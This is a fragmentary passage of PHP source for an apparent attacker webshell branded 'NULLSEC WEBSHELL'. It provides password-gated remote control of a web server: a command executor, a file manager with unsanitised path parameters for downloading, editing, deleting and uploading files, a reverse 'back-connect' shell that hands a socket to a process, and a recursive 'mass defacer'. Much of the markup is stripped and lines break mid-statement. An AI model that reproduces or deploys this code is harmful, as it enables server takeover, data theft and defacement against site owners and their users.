WEBSHELL SELF DESTROY SUCCESSFULLY!");
} else {
die("
FAILED!!
");
}
}
if (!isset($_SESSION['auth'])) {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['pass'] === $password) {
$_SESSION['auth'] = true;
} else {
echo '
LOGIN
ENTER THE PASSWORD
';
exit;
}
}
$path = isset($_GET['path']) ? $_GET['path'] : getcwd();
chdir($path);
$path = getcwd();
function getOS() {
return PHP_OS;
}
function getIP() {
return $_SERVER['SERVER_ADDR'] ?? 'Unknown';
}
if (isset($_GET['download'])) {
$file = $path . DIRECTORY_SEPARATOR . $_GET['download'];
if (is_file($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
flush();
readfile($file);
exit;
} else {
echo "File not found for download.
";
}
}
?>
NULLSEC WEBSHELL
Server IP: = getIP(); ?>
OS: = getOS(); ?>
Path: = htmlspecialchars($path); ?>
Command Executor
File Manager
Name | Type | Size | Actions |
";
echo "" . htmlspecialchars($item) . " | ";
echo "" . (is_dir($full) ? "Folder" : "File") . " | ";
echo "" . (is_file($full) ? filesize($full) . " B" : "-") . " | ";
$downloadLink = is_file($full) ? "Download" : "Download";
echo "
Edit |
$downloadLink |
Delete
| ";
echo "";
}
if (isset($_GET['del'])) {
$target = $path . DIRECTORY_SEPARATOR . $_GET['del'];
if (is_file($target)) unlink($target);
header("Location: ?path=" . urlencode($path));
exit;
}
?>
Upload File
Uploaded successfully.";
} else {
echo "
Upload failed.
";
}
}
?>
Editing: ' . htmlspecialchars($_GET['edit']) . '
';
if (isset($_POST['savefile'])) {
file_put_contents($file, $_POST['content']);
echo "
File saved.
";
}
$code = htmlspecialchars(file_get_contents($file));
echo "
";
}
}
?>
PHP INFO
Back-Connect Shell (Reverse)
$sock, 1 => $sock, 2 => $sock], $pipes);
}
?>
ZIP Compressor/Extractor
open($zipFile, ZipArchive::CREATE)) {
$zip->addFile($target, basename($target));
$zip->close();
echo "
Compressed to $zipFile
";
} else {
echo "
Failed to compress.
";
}
} else {
$zip = new ZipArchive();
if ($zip->open($target) === TRUE) {
$zip->extractTo($path);
$zip->close();
echo "
Extracted successfully.
";
} else {
echo "
Extraction failed.
";
}
}
}
?>
MASS DEFACER
Defacement done recursively.";
}
?>